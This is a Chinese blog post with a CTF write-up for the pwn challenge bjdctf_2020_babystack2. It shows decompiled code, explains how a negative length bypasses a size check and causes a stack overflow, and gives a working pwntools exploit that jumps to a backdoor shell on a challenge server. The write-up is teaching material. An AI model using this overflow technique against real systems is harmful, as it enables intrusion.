当前位置:网站首页>【CTF】bjdctf_2020_babystack2
【CTF】bjdctf_2020_babystack2
2022-07-02 00:16:00 【delta_hell】
题目分析
反编译,查找漏洞
main函数:
undefined8 main(void)
{
undefined local_18 [12];
uint local_c;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
local_c = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let\'s try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf(&DAT_004009c1,&local_c);
if (10 < (int)local_c) {
puts("Oops,u name is too long!");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("[+]What\'s u name?");
read(0,local_18,(ulong)local_c);
return 0;
}
backdoor函数:
undefined8 backdoor(void)
{
system("/bin/sh");
return 1;
}
题目意思很明显了,后门函数已经提供了,只要能跳过去就行了。
再看main函数,read函数很明显就是个利用点,利用变量local_c就可以制造溢出。
当然,不会这么简单,前面有长度限制的判断
if (10 < (int)local_c)
不过,这个也简单,对不对?整型溢出啊,整一个负数,直接就成了啊~~~
事实证明,思路完全正确,但是过程太曲折,简单描述下:
本机溢出会失败,在ubuntu上,输入-1,read时会直接返回;在windows上实验,输入-1,read会弹出窗,提示
buf len < INT_MAX条件不满足,这下很明显了,read有输入限制。又研究了很久,发现无解,因为要过长度限制,
必须使用负数,否则不能溢出,而即使INT_MIN,转换为无符号数,仍为2147483648,还是> INT_MAX;一时间
搞的我怀疑人生。
解题思路
思路就是上面题目分析的过程,完全正确,直接拿靶机验证是OK的,-1能过长度限制,同时read不报错(欲哭无泪)
from pwn import *
sh = connect("node4.buuoj.cn",27462)
sh.recvuntil("name:\n")
print("recv name length")
sh.sendline('-1'.encode())
print("send name length")
sh.recvline()
pad = 'A'*24
payload = pad.encode() + p64(0x00400726)
sh.sendline(payload)
sh.interactive()
没法本地验证导致的后果,就是溢出长度是猜出来的。
总结
思路没毛病的时候,及时测靶机。不过调一调本机还是有意思的,虽然没找到最终结果,比如ubuntu上,写了一个测试demo,去掉长度验证,结果read只要不大于3652就没问题,超过时errno就会报Bad address,跟windows上还不一样,但是3652这个值感觉没有任何意义,又怀疑人生了~~~下班了不纠结了,后面有调glibc的机会时候再看看。
边栏推荐
- Kubernetes resource object introduction and common commands (III)
- How to realize parallel replication in MySQL replication
- 一个实习生的CnosDB之旅
- 多表操作-一对一,一对多与多对多
- 【CMake】Qt creator 里面的 cmake 配置
- Relevant settings of wechat applet cache expiration time (recommended)
- Heketi record
- 【QT】Qt 使用MSVC2017找不到编译器的解决办法
- PHP reads ini or env type configuration
- 基于全志H3的QT5.12.9移植教程
猜你喜欢

ThreadLocal内存泄漏是什么,怎么解决

如何提升数据质量

Asp . Text of automatic reply to NETCORE wechat subscription number

实例讲解将Graph Explorer搬上JupyterLab

mysql之B tree 以及 B+tree

Download the online video m3u8 tutorial

Take the enclave Park as a sample to see how Yuhua and Shaoshan play the song of Chang Zhu Tan integrated development

【QT】Qt 使用MSVC2017找不到编译器的解决办法

Why does blocprovider feel similar to provider?

智能运维实战:银行业务流程及单笔交易追踪
随机推荐
Graduation season | Huawei experts teach the interview secret: how to get a high paying offer from a large factory?
在证券账户上买基金安全吗?哪里可以买基金
ADO. Net SqlConnection object usage summary
北京炒股开户选择手机办理安全吗?
Comprehensive usage and case questions of sub query of SQL data analysis [patient sorting]
Openvino model performance evaluation tool DL workbench
cookie、session、tooken
Is it safe for qiniu college to open an account? How to open an account?
RPA tutorial 01: Excel automation from introduction to practice
[Qt] résoudre le problème que Qt msvc 2017 ne peut pas Compiler
Huawei HMS core joins hands with hypergraph to inject new momentum into 3D GIS
起床困难综合症(按位贪心)
Node——添加压缩文件
Window sorting functions rank and deny for SQL data analysis_ rank、raw_ Number and lag, lead window offset function [usage sorting]
Leetcode medium question sharing (5)
MySQL: the difference between insert ignore, insert and replace
When installing mysql, there are two packages: Perl (data:: dumper) and Perl (JSON)
Three methods of finding inverse numbers
Jielizhi Bluetooth headset quality control and production skills [chapter]
Guide d'installation du serveur SQL